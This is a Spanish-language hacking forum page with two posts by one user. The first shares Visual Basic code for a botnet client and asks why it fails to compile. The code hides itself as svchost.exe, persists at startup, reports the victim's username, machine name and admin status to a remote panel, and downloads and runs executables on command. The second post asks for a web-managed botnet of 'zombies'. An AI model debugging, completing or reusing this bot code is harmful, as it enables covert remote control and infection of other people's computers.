elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


  Mostrar Temas
Páginas: [1]
1  Programación / Programación Visual Basic / Me arroja error "Sub or function not defined" en: 11 Febrero 2015, 08:00 am
muy buenas.
al quererlo compilarlo como exe me arroja el error.
no consigo encontrar el problema. me ayudan?

Código
  1. 'Hidden File
  2. Private Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
  3.  
  4. Dim keyword(4) As Variant
  5.  
  6. Private Sub Form_Load()
  7. On Error Resume Next
  8. '################### [SETTINGS] ###################
  9. panel = "http://xxxx.com.mx/sour" 'Panel URL
  10. MuTeX "MUTREX_910480921" 'Set Mutex
  11.  
  12. Interval = 20 'minutes
  13. intCount = 0 'tCount
  14. '################### [/SETTINGS] ###################
  15.  
  16.  
  17.  
  18. '################## [PERSISTANCE] ##################
  19. 'Call MakeCritical(-1, True) 'BSOD Process Persistance
  20. App.TaskVisible = False 'Visibility
  21.  
  22. FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("AppData") & "\svchost.exe" 'Copy file
  23. SetFileAttributes Environ("AppData") & "\svchost.exe", FILE_ATTRIBUTE_HIDDEN 'Hide it
  24.  
  25. addtostartup "svchost", (Environ("AppData") & "\svchost.exe") 'Add to startup
  26. '################## [/PERSISTANCE] ##################
  27.  
  28. Call getCommand(panel)
  29. End Sub
  30.  
  31. Private Sub Timer1_Timer()
  32. On Error Resume Next
  33. intCount = intCount + 1 'Count +1 minute...
  34.  
  35. If intCount = Interval Then 'If time is reached...
  36. intCount = 0 'Reset
  37. addtostartup "svchost", (Environ("AppData") & "\svchost.exe")
  38.  
  39. Call getCommand(panel)
  40. End If
  41.  
  42. End Sub
  43.  
  44. Public Sub getCommand(ByVal panel) 'Get Latest Command
  45. On Error Resume Next
  46. Dim objHttp As Object, strURL As String, strText As String, id As String
  47.  
  48. id = GetSetting("svchost", "svchost", "id", strText) 'Get ID
  49.  
  50. strURL = panel & "run.php" 'Control Panel / run.php
  51. Set objHttp = CreateObject("MSXML2.ServerXMLHTTP")
  52. objHttp.Open "POST", strURL, False
  53. objHttp.setRequestHeader "User-Agent", _
  54.    "753cda8b05e32ef3b82e0ff947a4a936" 'Set user-agent [Secret MD5]
  55. objHttp.setRequestHeader "Content-Type", _
  56.    "application/x-www-form-urlencoded" 'Allows data to be sent
  57.  
  58. If id <> "" Then 'If NOT blank...
  59. objHttp.Send ("userandpc=" & Environ("USERNAME") & "@" & Environ("COMPUTERNAME") & "&admin=" & AmIAdmin & "&os=" & os & "&id=" & id) 'Send ID
  60. Else
  61. objHttp.Send ("userandpc=" & Environ("USERNAME") & "@" & Environ("COMPUTERNAME") & "&admin=" & AmIAdmin & "&os=" & os) 'Don't send ID, and retrieve new ID...
  62. End If
  63.  
  64. strText = objHttp.ResponseText 'Response Text
  65.  
  66.        Dim errcode As Long
  67.        Dim localFileName As String
  68.        Dim rN As Integer
  69.  
  70. If Left(strText, 3) = "id|" Then
  71.    SaveSetting "svchost", "svchost", "id", Split(strText, "|")(1) 'Save the new ID
  72.  
  73. ElseIf Left(strText, 3) = "DL|" Then 'Download...
  74.        Randomize
  75.        rN = Int(Rnd * 999999)
  76.        DLurl = "http://" & Split(strText, "|")(1) 'Get download URL via. Split
  77.  
  78.        localFileName = Environ("TEMP") & "\" & rN & ".exe" 'Save dir
  79.  
  80.        errcode = URLDownloadToFile(0, DLurl, localFileName, 0, 0) 'Download
  81.  
  82.        Shell (Environ("TEMP") & "\" & rN & ".exe") 'Execute
  83.  
  84. ElseIf Left(strText, 3) = "UP|" Then
  85.        Randomize
  86.        rN = Int(Rnd * 999999)
  87.        DLurl = "http://" & Split(strText, "|")(1) 'Get download URL via. Split
  88.  
  89.        localFileName = Environ("TEMP") & "\" & rN & ".exe" 'Save dir
  90.  
  91.        errcode = URLDownloadToFile(0, DLurl, localFileName, 0, 0) 'Download
  92.  
  93.        Shell (Environ("TEMP") & "\" & rN & ".exe") 'Execute
  94.  
  95.        'Removal/Ending...
  96.        Dim WshShell, CAL1
  97.        Set WshShell = CreateObject("WScript.Shell")
  98.  
  99.        If AmIAdmin = True Then
  100.            CAL1 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"
  101.            WshShell.RegDelete CAL1
  102.        Else
  103.            CAL1 = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
  104.            WshShell.RegDelete CAL1
  105.        End If
  106.  
  107.        Call MakeCritical(-1, False)
  108.        End
  109.  
  110. ElseIf Left(strText, 3) = "VV|" Then
  111.        ShellExecute Me.hwnd, "Open", Split(strText, "|")(1), 0, 0, SW_SHOWNORMAL 'ShellExec [Normal]
  112.  
  113. ElseIf Left(strText, 3) = "VI|" Then
  114.        Shell Environ("programfiles") & "\Internet Explorer\iexplore.exe " & Split(strText, "|")(1), vbHide 'ShellExec [Hidden]
  115.  
  116. ElseIf Left(strText, 3) = "UN|" Then 'Removal/Ending...
  117.        If AmIAdmin = True Then
  118.            CAL1 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"
  119.            WshShell.RegDelete CAL1
  120.        Else
  121.            CAL1 = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
  122.            WshShell.RegDelete CAL1
  123.        End If
  124.  
  125.        Call MakeCritical(-1, False)
  126.        End
  127. End If
  128.  
  129.  
  130. Set objHttp = Nothing
  131.  
  132. End Sub
  133.  

gracias.

Mod: código modificado, puesto en etiquetas GeSHi
2  Seguridad Informática / Seguridad / me recomiendan una botnet? en: 5 Febrero 2015, 07:37 am
como estan?

Estoy tratando de configurar una botnet de 20 zombies, y he probado las botnes que hay en google, no son buenas xq, ademas que tienen algunos bugs.
Hace un par de dias emprendi en descubrir fallos con shsh, para eso necesito la botnet.
No consta de 20 maquinas virtuales con 5 ordenadores q son mios.
quisiera saber si han programado alguna que no sea necesariamente una superbot, pero q si se administre en un panel web, y que pueda visitar una web, q no haga un ddos, si no una simple visita por petision.
Pero necesito tomar el control de ellas al la vez, una de mis webs que siento q esta vulnerable al shsh. Necesito la bot para determinar un caso que no voy a decir de que se trata xq, aun no se si sea verdadero o falso
les agradeceria q me dieran una, saludo
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines